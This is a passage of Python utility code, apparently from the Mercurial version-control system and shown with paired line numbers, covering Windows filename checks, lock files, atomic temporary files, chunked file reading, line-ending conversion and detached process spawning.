1906 1904 if path.endswith('\\'):
1907 1905 return _("filename ends with '\\', which is invalid on Windows")
1908 1906 if '\\/' in path:
1909 1907 return _("directory name ends with '\\', which is invalid on Windows")
1910 1908 for n in path.replace('\\', '/').split('/'):
1911 1909 if not n:
1912 1910 continue
1913 1911 for c in _filenamebytestr(n):
1914 1912 if c in _winreservedchars:
1915 1913 return _("filename contains '%s', which is reserved "
1916 1914 "on Windows") % c
1917 1915 if ord(c) <= 31:
1918 1916 return _("filename contains '%s', which is invalid "
1919 1917 "on Windows") % stringutil.escapestr(c)
1920 1918 base = n.split('.')[0]
1921 1919 if base and base.lower() in _winreservednames:
1922 1920 return _("filename contains '%s', which is reserved "
1923 1921 "on Windows") % base
1924 1922 t = n[-1:]
1925 1923 if t in '. ' and n not in '..':
1926 1924 return _("filename ends with '%s', which is not allowed "
1927 1925 "on Windows") % t
1928 1926
1929 1927 if pycompat.iswindows:
1930 1928 checkosfilename = checkwinfilename
1931 1929 timer = time.clock
1932 1930 else:
1933 1931 checkosfilename = platform.checkosfilename
1934 1932 timer = time.time
1935 1933
1936 1934 if safehasattr(time, "perf_counter"):
1937 1935 timer = time.perf_counter
1938 1936
1939 1937 def makelock(info, pathname):
1940 1938 """Create a lock file atomically if possible
1941 1939
1942 1940 This may leave a stale lock file if symlink isn't supported and signal
1943 1941 interrupt is enabled.
1944 1942 """
1945 1943 try:
1946 1944 return os.symlink(info, pathname)
1947 1945 except OSError as why:
1948 1946 if why.errno == errno.EEXIST:
1949 1947 raise
1950 1948 except AttributeError: # no symlink in os
1951 1949 pass
1952 1950
1953 1951 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1954 1952 ld = os.open(pathname, flags)
1955 1953 os.write(ld, info)
1956 1954 os.close(ld)
1957 1955
1958 1956 def readlock(pathname):
1959 1957 try:
1960 1958 return os.readlink(pathname)
1961 1959 except OSError as why:
1962 1960 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1963 1961 raise
1964 1962 except AttributeError: # no symlink in os
1965 1963 pass
1966 1964 fp = posixfile(pathname, 'rb')
1967 1965 r = fp.read()
1968 1966 fp.close()
1969 1967 return r
1970 1968
1971 1969 def fstat(fp):
1972 1970 '''stat file object that may not have fileno method.'''
1973 1971 try:
1974 1972 return os.fstat(fp.fileno())
1975 1973 except AttributeError:
1976 1974 return os.stat(fp.name)
1977 1975
1978 1976 # File system features
1979 1977
1980 1978 def fscasesensitive(path):
1981 1979 """
1982 1980 Return true if the given path is on a case-sensitive filesystem
1983 1981
1984 1982 Requires a path (like /foo/.hg) ending with a foldable final
1985 1983 directory component.
1986 1984 """
1987 1985 s1 = os.lstat(path)
1988 1986 d, b = os.path.split(path)
1989 1987 b2 = b.upper()
1990 1988 if b == b2:
1991 1989 b2 = b.lower()
1992 1990 if b == b2:
1993 1991 return True # no evidence against case sensitivity
1994 1992 p2 = os.path.join(d, b2)
1995 1993 try:
1996 1994 s2 = os.lstat(p2)
1997 1995 if s2 == s1:
1998 1996 return False
1999 1997 return True
2000 1998 except OSError:
2001 1999 return True
2002 2000
2003 2001 try:
2004 2002 import re2
2005 2003 _re2 = None
2006 2004 except ImportError:
2007 2005 _re2 = False
2008 2006
2009 2007 class _re(object):
2010 2008 def _checkre2(self):
2011 2009 global _re2
2012 2010 try:
2013 2011 # check if match works, see issue3964
2014 2012 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
2015 2013 except ImportError:
2016 2014 _re2 = False
2017 2015
2018 2016 def compile(self, pat, flags=0):
2019 2017 '''Compile a regular expression, using re2 if possible
2020 2018
2021 2019 For best performance, use only re2-compatible regexp features. The
2022 2020 only flags from the re module that are re2-compatible are
2023 2021 IGNORECASE and MULTILINE.'''
2024 2022 if _re2 is None:
2025 2023 self._checkre2()
2026 2024 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2027 2025 if flags & remod.IGNORECASE:
2028 2026 pat = '(?i)' + pat
2029 2027 if flags & remod.MULTILINE:
2030 2028 pat = '(?m)' + pat
2031 2029 try:
2032 2030 return re2.compile(pat)
2033 2031 except re2.error:
2034 2032 pass
2035 2033 return remod.compile(pat, flags)
2036 2034
2037 2035 @propertycache
2038 2036 def escape(self):
2039 2037 '''Return the version of escape corresponding to self.compile.
2040 2038
2041 2039 This is imperfect because whether re2 or re is used for a particular
2042 2040 function depends on the flags, etc, but it's the best we can do.
2043 2041 '''
2044 2042 global _re2
2045 2043 if _re2 is None:
2046 2044 self._checkre2()
2047 2045 if _re2:
2048 2046 return re2.escape
2049 2047 else:
2050 2048 return remod.escape
2051 2049
2052 2050 re = _re()
2053 2051
2054 2052 _fspathcache = {}
2055 2053 def fspath(name, root):
2056 2054 '''Get name in the case stored in the filesystem
2057 2055
2058 2056 The name should be relative to root, and be normcase-ed for efficiency.
2059 2057
2060 2058 Note that this function is unnecessary, and should not be
2061 2059 called, for case-sensitive filesystems (simply because it's expensive).
2062 2060
2063 2061 The root should be normcase-ed, too.
2064 2062 '''
2065 2063 def _makefspathcacheentry(dir):
2066 2064 return dict((normcase(n), n) for n in os.listdir(dir))
2067 2065
2068 2066 seps = pycompat.ossep
2069 2067 if pycompat.osaltsep:
2070 2068 seps = seps + pycompat.osaltsep
2071 2069 # Protect backslashes. This gets silly very quickly.
2072 2070 seps.replace('\\','\\\\')
2073 2071 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2074 2072 dir = os.path.normpath(root)
2075 2073 result = []
2076 2074 for part, sep in pattern.findall(name):
2077 2075 if sep:
2078 2076 result.append(sep)
2079 2077 continue
2080 2078
2081 2079 if dir not in _fspathcache:
2082 2080 _fspathcache[dir] = _makefspathcacheentry(dir)
2083 2081 contents = _fspathcache[dir]
2084 2082
2085 2083 found = contents.get(part)
2086 2084 if not found:
2087 2085 # retry "once per directory" per "dirstate.walk" which
2088 2086 # may take place for each patches of "hg qpush", for example
2089 2087 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2090 2088 found = contents.get(part)
2091 2089
2092 2090 result.append(found or part)
2093 2091 dir = os.path.join(dir, part)
2094 2092
2095 2093 return ''.join(result)
2096 2094
2097 2095 def checknlink(testfile):
2098 2096 '''check whether hardlink count reporting works properly'''
2099 2097
2100 2098 # testfile may be open, so we need a separate file for checking to
2101 2099 # work around issue2543 (or testfile may get lost on Samba shares)
2102 2100 f1, f2, fp = None, None, None
2103 2101 try:
2104 2102 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
2105 2103 suffix='1~', dir=os.path.dirname(testfile))
2106 2104 os.close(fd)
2107 2105 f2 = '%s2~' % f1[:-2]
2108 2106
2109 2107 oslink(f1, f2)
2110 2108 # nlinks() may behave differently for files on Windows shares if
2111 2109 # the file is open.
2112 2110 fp = posixfile(f2)
2113 2111 return nlinks(f2) > 1
2114 2112 except OSError:
2115 2113 return False
2116 2114 finally:
2117 2115 if fp is not None:
2118 2116 fp.close()
2119 2117 for f in (f1, f2):
2120 2118 try:
2121 2119 if f is not None:
2122 2120 os.unlink(f)
2123 2121 except OSError:
2124 2122 pass
2125 2123
2126 2124 def endswithsep(path):
2127 2125 '''Check path ends with os.sep or os.altsep.'''
2128 2126 return (path.endswith(pycompat.ossep)
2129 2127 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
2130 2128
2131 2129 def splitpath(path):
2132 2130 '''Split path by os.sep.
2133 2131 Note that this function does not use os.altsep because this is
2134 2132 an alternative of simple "xxx.split(os.sep)".
2135 2133 It is recommended to use os.path.normpath() before using this
2136 2134 function if need.'''
2137 2135 return path.split(pycompat.ossep)
2138 2136
2139 2137 def gui():
2140 2138 '''Are we running in a GUI?'''
2141 2139 if pycompat.isdarwin:
2142 2140 if 'SSH_CONNECTION' in encoding.environ:
2143 2141 # handle SSH access to a box where the user is logged in
2144 2142 return False
2145 2143 elif getattr(osutil, 'isgui', None):
2146 2144 # check if a CoreGraphics session is available
2147 2145 return osutil.isgui()
2148 2146 else:
2149 2147 # pure build; use a safe default
2150 2148 return True
2151 2149 else:
2152 2150 return pycompat.iswindows or encoding.environ.get("DISPLAY")
2153 2151
2154 2152 def mktempcopy(name, emptyok=False, createmode=None):
2155 2153 """Create a temporary file with the same contents from name
2156 2154
2157 2155 The permission bits are copied from the original file.
2158 2156
2159 2157 If the temporary file is going to be truncated immediately, you
2160 2158 can use emptyok=True as an optimization.
2161 2159
2162 2160 Returns the name of the temporary file.
2163 2161 """
2164 2162 d, fn = os.path.split(name)
2165 2163 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
2166 2164 os.close(fd)
2167 2165 # Temporary files are created with mode 0600, which is usually not
2168 2166 # what we want. If the original file already exists, just copy
2169 2167 # its mode. Otherwise, manually obey umask.
2170 2168 copymode(name, temp, createmode)
2171 2169 if emptyok:
2172 2170 return temp
2173 2171 try:
2174 2172 try:
2175 2173 ifp = posixfile(name, "rb")
2176 2174 except IOError as inst:
2177 2175 if inst.errno == errno.ENOENT:
2178 2176 return temp
2179 2177 if not getattr(inst, 'filename', None):
2180 2178 inst.filename = name
2181 2179 raise
2182 2180 ofp = posixfile(temp, "wb")
2183 2181 for chunk in filechunkiter(ifp):
2184 2182 ofp.write(chunk)
2185 2183 ifp.close()
2186 2184 ofp.close()
2187 2185 except: # re-raises
2188 2186 try:
2189 2187 os.unlink(temp)
2190 2188 except OSError:
2191 2189 pass
2192 2190 raise
2193 2191 return temp
2194 2192
2195 2193 class filestat(object):
2196 2194 """help to exactly detect change of a file
2197 2195
2198 2196 'stat' attribute is result of 'os.stat()' if specified 'path'
2199 2197 exists. Otherwise, it is None. This can avoid preparative
2200 2198 'exists()' examination on client side of this class.
2201 2199 """
2202 2200 def __init__(self, stat):
2203 2201 self.stat = stat
2204 2202
2205 2203 @classmethod
2206 2204 def frompath(cls, path):
2207 2205 try:
2208 2206 stat = os.stat(path)
2209 2207 except OSError as err:
2210 2208 if err.errno != errno.ENOENT:
2211 2209 raise
2212 2210 stat = None
2213 2211 return cls(stat)
2214 2212
2215 2213 @classmethod
2216 2214 def fromfp(cls, fp):
2217 2215 stat = os.fstat(fp.fileno())
2218 2216 return cls(stat)
2219 2217
2220 2218 __hash__ = object.__hash__
2221 2219
2222 2220 def __eq__(self, old):
2223 2221 try:
2224 2222 # if ambiguity between stat of new and old file is
2225 2223 # avoided, comparison of size, ctime and mtime is enough
2226 2224 # to exactly detect change of a file regardless of platform
2227 2225 return (self.stat.st_size == old.stat.st_size and
2228 2226 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2229 2227 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2230 2228 except AttributeError:
2231 2229 pass
2232 2230 try:
2233 2231 return self.stat is None and old.stat is None
2234 2232 except AttributeError:
2235 2233 return False
2236 2234
2237 2235 def isambig(self, old):
2238 2236 """Examine whether new (= self) stat is ambiguous against old one
2239 2237
2240 2238 "S[N]" below means stat of a file at N-th change:
2241 2239
2242 2240 - S[n-1].ctime < S[n].ctime: can detect change of a file
2243 2241 - S[n-1].ctime == S[n].ctime
2244 2242 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2245 2243 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2246 2244 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2247 2245 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2248 2246
2249 2247 Case (*2) above means that a file was changed twice or more at
2250 2248 same time in sec (= S[n-1].ctime), and comparison of timestamp
2251 2249 is ambiguous.
2252 2250
2253 2251 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2254 2252 timestamp is ambiguous".
2255 2253
2256 2254 But advancing mtime only in case (*2) doesn't work as
2257 2255 expected, because naturally advanced S[n].mtime in case (*1)
2258 2256 might be equal to manually advanced S[n-1 or earlier].mtime.
2259 2257
2260 2258 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2261 2259 treated as ambiguous regardless of mtime, to avoid overlooking
2262 2260 by confliction between such mtime.
2263 2261
2264 2262 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2265 2263 S[n].mtime", even if size of a file isn't changed.
2266 2264 """
2267 2265 try:
2268 2266 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2269 2267 except AttributeError:
2270 2268 return False
2271 2269
2272 2270 def avoidambig(self, path, old):
2273 2271 """Change file stat of specified path to avoid ambiguity
2274 2272
2275 2273 'old' should be previous filestat of 'path'.
2276 2274
2277 2275 This skips avoiding ambiguity, if a process doesn't have
2278 2276 appropriate privileges for 'path'. This returns False in this
2279 2277 case.
2280 2278
2281 2279 Otherwise, this returns True, as "ambiguity is avoided".
2282 2280 """
2283 2281 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2284 2282 try:
2285 2283 os.utime(path, (advanced, advanced))
2286 2284 except OSError as inst:
2287 2285 if inst.errno == errno.EPERM:
2288 2286 # utime() on the file created by another user causes EPERM,
2289 2287 # if a process doesn't have appropriate privileges
2290 2288 return False
2291 2289 raise
2292 2290 return True
2293 2291
2294 2292 def __ne__(self, other):
2295 2293 return not self == other
2296 2294
2297 2295 class atomictempfile(object):
2298 2296 '''writable file object that atomically updates a file
2299 2297
2300 2298 All writes will go to a temporary copy of the original file. Call
2301 2299 close() when you are done writing, and atomictempfile will rename
2302 2300 the temporary copy to the original name, making the changes
2303 2301 visible. If the object is destroyed without being closed, all your
2304 2302 writes are discarded.
2305 2303
2306 2304 checkambig argument of constructor is used with filestat, and is
2307 2305 useful only if target file is guarded by any lock (e.g. repo.lock
2308 2306 or repo.wlock).
2309 2307 '''
2310 2308 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2311 2309 self.__name = name # permanent name
2312 2310 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2313 2311 createmode=createmode)
2314 2312 self._fp = posixfile(self._tempname, mode)
2315 2313 self._checkambig = checkambig
2316 2314
2317 2315 # delegated methods
2318 2316 self.read = self._fp.read
2319 2317 self.write = self._fp.write
2320 2318 self.seek = self._fp.seek
2321 2319 self.tell = self._fp.tell
2322 2320 self.fileno = self._fp.fileno
2323 2321
2324 2322 def close(self):
2325 2323 if not self._fp.closed:
2326 2324 self._fp.close()
2327 2325 filename = localpath(self.__name)
2328 2326 oldstat = self._checkambig and filestat.frompath(filename)
2329 2327 if oldstat and oldstat.stat:
2330 2328 rename(self._tempname, filename)
2331 2329 newstat = filestat.frompath(filename)
2332 2330 if newstat.isambig(oldstat):
2333 2331 # stat of changed file is ambiguous to original one
2334 2332 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2335 2333 os.utime(filename, (advanced, advanced))
2336 2334 else:
2337 2335 rename(self._tempname, filename)
2338 2336
2339 2337 def discard(self):
2340 2338 if not self._fp.closed:
2341 2339 try:
2342 2340 os.unlink(self._tempname)
2343 2341 except OSError:
2344 2342 pass
2345 2343 self._fp.close()
2346 2344
2347 2345 def __del__(self):
2348 2346 if safehasattr(self, '_fp'): # constructor actually did something
2349 2347 self.discard()
2350 2348
2351 2349 def __enter__(self):
2352 2350 return self
2353 2351
2354 2352 def __exit__(self, exctype, excvalue, traceback):
2355 2353 if exctype is not None:
2356 2354 self.discard()
2357 2355 else:
2358 2356 self.close()
2359 2357
2360 2358 def unlinkpath(f, ignoremissing=False):
2361 2359 """unlink and remove the directory if it is empty"""
2362 2360 if ignoremissing:
2363 2361 tryunlink(f)
2364 2362 else:
2365 2363 unlink(f)
2366 2364 # try removing directories that might now be empty
2367 2365 try:
2368 2366 removedirs(os.path.dirname(f))
2369 2367 except OSError:
2370 2368 pass
2371 2369
2372 2370 def tryunlink(f):
2373 2371 """Attempt to remove a file, ignoring ENOENT errors."""
2374 2372 try:
2375 2373 unlink(f)
2376 2374 except OSError as e:
2377 2375 if e.errno != errno.ENOENT:
2378 2376 raise
2379 2377
2380 2378 def makedirs(name, mode=None, notindexed=False):
2381 2379 """recursive directory creation with parent mode inheritance
2382 2380
2383 2381 Newly created directories are marked as "not to be indexed by
2384 2382 the content indexing service", if ``notindexed`` is specified
2385 2383 for "write" mode access.
2386 2384 """
2387 2385 try:
2388 2386 makedir(name, notindexed)
2389 2387 except OSError as err:
2390 2388 if err.errno == errno.EEXIST:
2391 2389 return
2392 2390 if err.errno != errno.ENOENT or not name:
2393 2391 raise
2394 2392 parent = os.path.dirname(os.path.abspath(name))
2395 2393 if parent == name:
2396 2394 raise
2397 2395 makedirs(parent, mode, notindexed)
2398 2396 try:
2399 2397 makedir(name, notindexed)
2400 2398 except OSError as err:
2401 2399 # Catch EEXIST to handle races
2402 2400 if err.errno == errno.EEXIST:
2403 2401 return
2404 2402 raise
2405 2403 if mode is not None:
2406 2404 os.chmod(name, mode)
2407 2405
2408 2406 def readfile(path):
2409 2407 with open(path, 'rb') as fp:
2410 2408 return fp.read()
2411 2409
2412 2410 def writefile(path, text):
2413 2411 with open(path, 'wb') as fp:
2414 2412 fp.write(text)
2415 2413
2416 2414 def appendfile(path, text):
2417 2415 with open(path, 'ab') as fp:
2418 2416 fp.write(text)
2419 2417
2420 2418 class chunkbuffer(object):
2421 2419 """Allow arbitrary sized chunks of data to be efficiently read from an
2422 2420 iterator over chunks of arbitrary size."""
2423 2421
2424 2422 def __init__(self, in_iter):
2425 2423 """in_iter is the iterator that's iterating over the input chunks."""
2426 2424 def splitbig(chunks):
2427 2425 for chunk in chunks:
2428 2426 if len(chunk) > 2**20:
2429 2427 pos = 0
2430 2428 while pos < len(chunk):
2431 2429 end = pos + 2 ** 18
2432 2430 yield chunk[pos:end]
2433 2431 pos = end
2434 2432 else:
2435 2433 yield chunk
2436 2434 self.iter = splitbig(in_iter)
2437 2435 self._queue = collections.deque()
2438 2436 self._chunkoffset = 0
2439 2437
2440 2438 def read(self, l=None):
2441 2439 """Read L bytes of data from the iterator of chunks of data.
2442 2440 Returns less than L bytes if the iterator runs dry.
2443 2441
2444 2442 If size parameter is omitted, read everything"""
2445 2443 if l is None:
2446 2444 return ''.join(self.iter)
2447 2445
2448 2446 left = l
2449 2447 buf = []
2450 2448 queue = self._queue
2451 2449 while left > 0:
2452 2450 # refill the queue
2453 2451 if not queue:
2454 2452 target = 2**18
2455 2453 for chunk in self.iter:
2456 2454 queue.append(chunk)
2457 2455 target -= len(chunk)
2458 2456 if target <= 0:
2459 2457 break
2460 2458 if not queue:
2461 2459 break
2462 2460
2463 2461 # The easy way to do this would be to queue.popleft(), modify the
2464 2462 # chunk (if necessary), then queue.appendleft(). However, for cases
2465 2463 # where we read partial chunk content, this incurs 2 dequeue
2466 2464 # mutations and creates a new str for the remaining chunk in the
2467 2465 # queue. Our code below avoids this overhead.
2468 2466
2469 2467 chunk = queue[0]
2470 2468 chunkl = len(chunk)
2471 2469 offset = self._chunkoffset
2472 2470
2473 2471 # Use full chunk.
2474 2472 if offset == 0 and left >= chunkl:
2475 2473 left -= chunkl
2476 2474 queue.popleft()
2477 2475 buf.append(chunk)
2478 2476 # self._chunkoffset remains at 0.
2479 2477 continue
2480 2478
2481 2479 chunkremaining = chunkl - offset
2482 2480
2483 2481 # Use all of unconsumed part of chunk.
2484 2482 if left >= chunkremaining:
2485 2483 left -= chunkremaining
2486 2484 queue.popleft()
2487 2485 # offset == 0 is enabled by block above, so this won't merely
2488 2486 # copy via ``chunk[0:]``.
2489 2487 buf.append(chunk[offset:])
2490 2488 self._chunkoffset = 0
2491 2489
2492 2490 # Partial chunk needed.
2493 2491 else:
2494 2492 buf.append(chunk[offset:offset + left])
2495 2493 self._chunkoffset += left
2496 2494 left -= chunkremaining
2497 2495
2498 2496 return ''.join(buf)
2499 2497
2500 2498 def filechunkiter(f, size=131072, limit=None):
2501 2499 """Create a generator that produces the data in the file size
2502 2500 (default 131072) bytes at a time, up to optional limit (default is
2503 2501 to read all data). Chunks may be less than size bytes if the
2504 2502 chunk is the last chunk in the file, or the file is a socket or
2505 2503 some other type of file that sometimes reads less data than is
2506 2504 requested."""
2507 2505 assert size >= 0
2508 2506 assert limit is None or limit >= 0
2509 2507 while True:
2510 2508 if limit is None:
2511 2509 nbytes = size
2512 2510 else:
2513 2511 nbytes = min(limit, size)
2514 2512 s = nbytes and f.read(nbytes)
2515 2513 if not s:
2516 2514 break
2517 2515 if limit:
2518 2516 limit -= len(s)
2519 2517 yield s
2520 2518
2521 2519 class cappedreader(object):
2522 2520 """A file object proxy that allows reading up to N bytes.
2523 2521
2524 2522 Given a source file object, instances of this type allow reading up to
2525 2523 N bytes from that source file object. Attempts to read past the allowed
2526 2524 limit are treated as EOF.
2527 2525
2528 2526 It is assumed that I/O is not performed on the original file object
2529 2527 in addition to I/O that is performed by this instance. If there is,
2530 2528 state tracking will get out of sync and unexpected results will ensue.
2531 2529 """
2532 2530 def __init__(self, fh, limit):
2533 2531 """Allow reading up to <limit> bytes from <fh>."""
2534 2532 self._fh = fh
2535 2533 self._left = limit
2536 2534
2537 2535 def read(self, n=-1):
2538 2536 if not self._left:
2539 2537 return b''
2540 2538
2541 2539 if n < 0:
2542 2540 n = self._left
2543 2541
2544 2542 data = self._fh.read(min(n, self._left))
2545 2543 self._left -= len(data)
2546 2544 assert self._left >= 0
2547 2545
2548 2546 return data
2549 2547
2550 2548 def readinto(self, b):
2551 2549 res = self.read(len(b))
2552 2550 if res is None:
2553 2551 return None
2554 2552
2555 2553 b[0:len(res)] = res
2556 2554 return len(res)
2557 2555
2558 2556 def unitcountfn(*unittable):
2559 2557 '''return a function that renders a readable count of some quantity'''
2560 2558
2561 2559 def go(count):
2562 2560 for multiplier, divisor, format in unittable:
2563 2561 if abs(count) >= divisor * multiplier:
2564 2562 return format % (count / float(divisor))
2565 2563 return unittable[-1][2] % count
2566 2564
2567 2565 return go
2568 2566
2569 2567 def processlinerange(fromline, toline):
2570 2568 """Check that linerange <fromline>:<toline> makes sense and return a
2571 2569 0-based range.
2572 2570
2573 2571 >>> processlinerange(10, 20)
2574 2572 (9, 20)
2575 2573 >>> processlinerange(2, 1)
2576 2574 Traceback (most recent call last):
2577 2575 ...
2578 2576 ParseError: line range must be positive
2579 2577 >>> processlinerange(0, 5)
2580 2578 Traceback (most recent call last):
2581 2579 ...
2582 2580 ParseError: fromline must be strictly positive
2583 2581 """
2584 2582 if toline - fromline < 0:
2585 2583 raise error.ParseError(_("line range must be positive"))
2586 2584 if fromline < 1:
2587 2585 raise error.ParseError(_("fromline must be strictly positive"))
2588 2586 return fromline - 1, toline
2589 2587
2590 2588 bytecount = unitcountfn(
2591 2589 (100, 1 << 30, _('%.0f GB')),
2592 2590 (10, 1 << 30, _('%.1f GB')),
2593 2591 (1, 1 << 30, _('%.2f GB')),
2594 2592 (100, 1 << 20, _('%.0f MB')),
2595 2593 (10, 1 << 20, _('%.1f MB')),
2596 2594 (1, 1 << 20, _('%.2f MB')),
2597 2595 (100, 1 << 10, _('%.0f KB')),
2598 2596 (10, 1 << 10, _('%.1f KB')),
2599 2597 (1, 1 << 10, _('%.2f KB')),
2600 2598 (1, 1, _('%.0f bytes')),
2601 2599 )
2602 2600
2603 2601 class transformingwriter(object):
2604 2602 """Writable file wrapper to transform data by function"""
2605 2603
2606 2604 def __init__(self, fp, encode):
2607 2605 self._fp = fp
2608 2606 self._encode = encode
2609 2607
2610 2608 def close(self):
2611 2609 self._fp.close()
2612 2610
2613 2611 def flush(self):
2614 2612 self._fp.flush()
2615 2613
2616 2614 def write(self, data):
2617 2615 return self._fp.write(self._encode(data))
2618 2616
2619 2617 # Matches a single EOL which can either be a CRLF where repeated CR
2620 2618 # are removed or a LF. We do not care about old Macintosh files, so a
2621 2619 # stray CR is an error.
2622 2620 _eolre = remod.compile(br'\r*\n')
2623 2621
2624 2622 def tolf(s):
2625 2623 return _eolre.sub('\n', s)
2626 2624
2627 2625 def tocrlf(s):
2628 2626 return _eolre.sub('\r\n', s)
2629 2627
2630 2628 def _crlfwriter(fp):
2631 2629 return transformingwriter(fp, tocrlf)
2632 2630
2633 2631 if pycompat.oslinesep == '\r\n':
2634 2632 tonativeeol = tocrlf
2635 2633 fromnativeeol = tolf
2636 2634 nativeeolwriter = _crlfwriter
2637 2635 else:
2638 2636 tonativeeol = pycompat.identity
2639 2637 fromnativeeol = pycompat.identity
2640 2638 nativeeolwriter = pycompat.identity
2641 2639
2642 2640 if (pyplatform.python_implementation() == 'CPython' and
2643 2641 sys.version_info < (3, 0)):
2644 2642 # There is an issue in CPython that some IO methods do not handle EINTR
2645 2643 # correctly. The following table shows what CPython version (and functions)
2646 2644 # are affected (buggy: has the EINTR bug, okay: otherwise):
2647 2645 #
2648 2646 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2649 2647 # --------------------------------------------------
2650 2648 # fp.__iter__ | buggy | buggy | okay
2651 2649 # fp.read* | buggy | okay [1] | okay
2652 2650 #
2653 2651 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2654 2652 #
2655 2653 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2656 2654 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2657 2655 #
2658 2656 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2659 2657 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2660 2658 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2661 2659 # fp.__iter__ but not other fp.read* methods.
2662 2660 #
2663 2661 # On modern systems like Linux, the "read" syscall cannot be interrupted
2664 2662 # when reading "fast" files like on-disk files. So the EINTR issue only
2665 2663 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2666 2664 # files approximately as "fast" files and use the fast (unsafe) code path,
2667 2665 # to minimize the performance impact.
2668 2666 if sys.version_info >= (2, 7, 4):
2669 2667 # fp.readline deals with EINTR correctly, use it as a workaround.
2670 2668 def _safeiterfile(fp):
2671 2669 return iter(fp.readline, '')
2672 2670 else:
2673 2671 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2674 2672 # note: this may block longer than necessary because of bufsize.
2675 2673 def _safeiterfile(fp, bufsize=4096):
2676 2674 fd = fp.fileno()
2677 2675 line = ''
2678 2676 while True:
2679 2677 try:
2680 2678 buf = os.read(fd, bufsize)
2681 2679 except OSError as ex:
2682 2680 # os.read only raises EINTR before any data is read
2683 2681 if ex.errno == errno.EINTR:
2684 2682 continue
2685 2683 else:
2686 2684 raise
2687 2685 line += buf
2688 2686 if '\n' in buf:
2689 2687 splitted = line.splitlines(True)
2690 2688 line = ''
2691 2689 for l in splitted:
2692 2690 if l[-1] == '\n':
2693 2691 yield l
2694 2692 else:
2695 2693 line = l
2696 2694 if not buf:
2697 2695 break
2698 2696 if line:
2699 2697 yield line
2700 2698
2701 2699 def iterfile(fp):
2702 2700 fastpath = True
2703 2701 if type(fp) is file:
2704 2702 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2705 2703 if fastpath:
2706 2704 return fp
2707 2705 else:
2708 2706 return _safeiterfile(fp)
2709 2707 else:
2710 2708 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2711 2709 def iterfile(fp):
2712 2710 return fp
2713 2711
2714 2712 def iterlines(iterator):
2715 2713 for chunk in iterator:
2716 2714 for line in chunk.splitlines():
2717 2715 yield line
2718 2716
2719 2717 def expandpath(path):
2720 2718 return os.path.expanduser(os.path.expandvars(path))
2721 2719
2722 2720 def hgcmd():
2723 2721 """Return the command used to execute current hg
2724 2722
2725 2723 This is different from hgexecutable() because on Windows we want
2726 2724 to avoid things opening new shell windows like batch files, so we
2727 2725 get either the python call or current executable.
2728 2726 """
2729 2727 if mainfrozen():
2730 2728 if getattr(sys, 'frozen', None) == 'macosx_app':
2731 2729 # Env variable set by py2app
2732 2730 return [encoding.environ['EXECUTABLEPATH']]
2733 2731 else:
2734 2732 return [pycompat.sysexecutable]
2735 2733 return gethgcmd()
2736 2734
2737 2735 def rundetached(args, condfn):
2738 2736 """Execute the argument list in a detached process.
2739 2737
2740 2738 condfn is a callable which is called repeatedly and should return
2741 2739 True once the child process is known to have started successfully.
2742 2740 At this point, the child process PID is returned. If the child
2743 2741 process fails to start or finishes before condfn() evaluates to
2744 2742 True, return -1.
2745 2743 """
2746 2744 # Windows case is easier because the child process is either
2747 2745 # successfully starting and validating the condition or exiting
2748 2746 # on failure. We just poll on its PID. On Unix, if the child
2749 2747 # process fails to start, it will be left in a zombie state until
2750 2748 # the parent wait on it, which we cannot do since we expect a long
2751 2749 # running process on success. Instead we listen for SIGCHLD telling
2752 2750 # us our child process terminated.
2753 2751 terminated = set()
2754 2752 def handler(signum, frame):
2755 2753 terminated.add(os.wait())
2756 2754 prevhandler = None
2757 2755 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2758 2756 if SIGCHLD is not None:
2759 2757 prevhandler = signal.signal(SIGCHLD, handler)
2760 2758 try:
2761 2759 pid = spawndetached(args)
2762 2760 while not condfn():
2763 2761 if ((pid in terminated or not testpid(pid))
2764 2762 and not condfn()):
2765 2763 return -1
2766 2764 time.sleep(0.1)
2767 2765 return pid
2768 2766 finally:
2769 2767 if prevhandler is not None:
2770 2768 signal.signal(signal.SIGCHLD, prevhandler)
2771 2769
2772 2770 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2773 2771 """Return the result of interpolating items in the mapping into string s.
2774 2772
2775 2773 prefix is a single character string, or a two character string with
2776 2774 a backslash as the first character if the prefix needs to be escaped in
2777 2775 a regular expression.
2778 2776
2779 2777 fn is an optional function that will be applied to the replacement text
2780 2778 just before replacement.
2781 2779
2782 2780 escape_prefix is an optional flag that allows using doubled prefix for
2783 2781 its escaping.
2784 2782 """
